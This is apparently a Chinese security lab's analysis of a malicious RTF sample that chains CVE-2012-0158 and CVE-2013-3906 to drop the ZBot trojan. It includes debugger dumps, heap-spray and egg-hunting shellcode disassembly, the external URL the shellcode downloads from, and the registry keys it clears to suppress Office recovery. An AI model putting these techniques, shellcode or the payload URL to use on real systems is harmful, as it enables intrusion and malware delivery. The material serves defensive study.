Office”组合”式漏洞攻击样本分析
by hcl, nine8 of code audit labs of vulnhunt.com
1 概述
网上公开一个疑似CVE-2014-1761的RTF样本,翰海源分析发现该样本并非CVE-2014-1761,而是在一个RTF样本中同时包括了两个漏洞,分别为CVE-2012-0158和CVE-2013-3906,比较特殊。
昨日,macfee在其Blog上也公布了一篇一个RTF样本包含CVE-2010-3333和CVE-2013-3906两个漏洞的文章。两个样本比较相似。
2 样本分析
2.1 漏洞CVE-2012-0158
1) 如果没有安装0158的补丁,在堆喷射后,会首先触发0158漏洞,拷贝0xF00字节栈溢出后,通过覆盖返回地址实现利用
eax=00121700 ebx=0b7a00e0 ecx=7c93003d edx=0ef10020 esi=08ece6bc edi=00000000
eip=275a2738 esp=001216dc ebp=00121708 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0xb451:
275a2738 e863fdffff call MSCOMCTL!DllGetClassObject+0xb1b9 (275a24a0)
0:000> dd esp
001216dc 00121700 0b7a00e0 00000f00 00000000
001216ec 08ece6bc 0b7a00e0 6a626f43 00000064
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 275e727b 08ece6bc 0b7a00e0 00000000 MSCOMCTL!DllGetClassObject+0xb451
00121730 275e75c2 08ece6bc 0b7a00e0 0b7a00e0 MSCOMCTL!DLLGetDocumentation+0xcf1
0:000> p
eax=00000000 ebx=0b7a00e0 ecx=7c93003d edx=00140608 esi=08ece6bc edi=00000000
eip=275a273d esp=001216dc ebp=00121708 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0xb456:
275a273d 8bf0 mov esi,eax
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 27606efe 4a454247 42474642 275f4a62 MSCOMCTL!DllGetClassObject+0xb456
00121754 275e0d69 00040110 00010000 00010000 MSCOMCTL!DllUnregisterServer+0x6ec6
2) Shellcode不存在ROP,漏洞触发成功后,jmp esp跳转到栈上的Egg Hunting的前半段Shellcode,通过内存遍历搜寻Flag为的0×78784747、0×78784747、0xE3E3ACAC的Egg Hunting的后半段Shellcode。
3) 0158对应的样本object如下
2.2 漏洞CVE-2013-3906
1) 如果安装了CVE-2012-0158的补丁,那么在堆喷射之后,TIF的StripByCounts的第9个value为0xFFFF00B2,导致与其他value累加之后整数溢出,导致了堆溢出,覆盖vtable,直接call到0a0a0a0a的堆喷射区域,执行shellcode。
2) 通过ActiveX12.bin堆喷射的Shellcode与0158的基本一样,解密后内存搜寻相同的Flag,寻找Egg Hunting的shellcode的后半段
3) 喷射的shellcode如下:
0a0a0a0e ebc0 jmp 0a0a09d0
0a0a0a10 0a0a or cl,byte ptr [edx]
0a0a0a12 0a0a or cl,byte ptr [edx]
0:000> u 0a0a09d0
0a0a09d0 43 inc ebx
0a0a09d1 43 inc ebx
0a0a09d2 43 inc ebx
0a0a09d3 43 inc ebx
0a0a09d4 43 inc ebx
0a0ffad4 31db xor ebx,ebx
0a0ffad6 6681cbff0f or bx,0FFFh
0a0ffadb 43 inc ebx
0a0ffadc 6a08 push 8
0a0ffade 53 push ebx
0a0ffadf 8b442408 mov eax,dword ptr [esp+8]
0a0ffae3 ffd0 call eax
0a0ffae5 85c0 test eax,eax
0a0ffae7 75ed jne 0a0ffad6
0a0ffae9 b847477878 mov eax,78784747h
0a0ffaee 89df mov edi,ebx
0a0ffaf0 af scas dword ptr es:[edi]
0a0ffaf1 75e8 jne 0a0ffadb
0a0ffaf3 af scas dword ptr es:[edi]
0a0ffaf4 75e5 jne 0a0ffadb
0a0ffaf6 813facace3e3 cmp dword ptr [edi],0E3E3ACACh
4) 样本中对应的压缩流及TIF如下:
2.3 Egg Hunting Shellcode
1) 通过URLDownloadToFileA从http://alienstub.com/ticket/coke.exe下载ZBot木马到如下路径:
C:DOCUME~1当前用户LOCALS~1Temp..Application DataMicrosoftWindowsspoolsv.exe
2) 同时会清除注册表的如下键值,以防止用户在此运行后出现文档错误恢复或安全模式运行等。
SoftwareMicrosoftOffice[Version]WordResiliencyDisabledItems
SoftwareMicrosoftOffice[Version]WordResiliencyStartupItems.
3) 搜寻标记为0×78784747、0×78784747、0xE3E3ACAC, 对应样本Object为:
3. 恶意程序
下载执行的恶意程序为ZBot木马,可以访问我们翰海源的B超系统,来查看该木马的详细行为细节:
https://b-chao.com/index.php/Index/show_detail/Sha1/C09D8EC529773CBE4C5E351DC0ABD4724E2DCF3C
4. 参考
http://blogs.mcafee.com/mcafee-labs/rtf-attack-takes-advantage-of-multiple-exploits
http://blog.vulnhunt.com/index.php/2014/04/04/office%E7%BB%84%E5%90%88%E5%BC%8F%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/
- Spark源码系列(三)作业运行过程
- Spark源码系列(四)图解作业生命周期
- Spark源码系列(五)分布式缓存
- 看我如何基于Python;Facepp打造智能监控系统
- Spark源码系列(六)Shuffle的过程解析
- Spark源码系列(九)Spark SQL初体验之解析过程详解
- Spark源码系列(七)Spark on yarn具体实现
- 我们要在任何可能的地方测试XSS漏洞
- Angr:一个具有动态符号执行和静态分析的二进制分析工具
- Spark编程指南
- Spark Streaming编程指南
- Spark源码系列(八)Spark Streaming实例分析
- “震网三代”(CVE-2017-8464)的几种利用方法与防范
- Spark1.0新特性-->Spark SQL
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法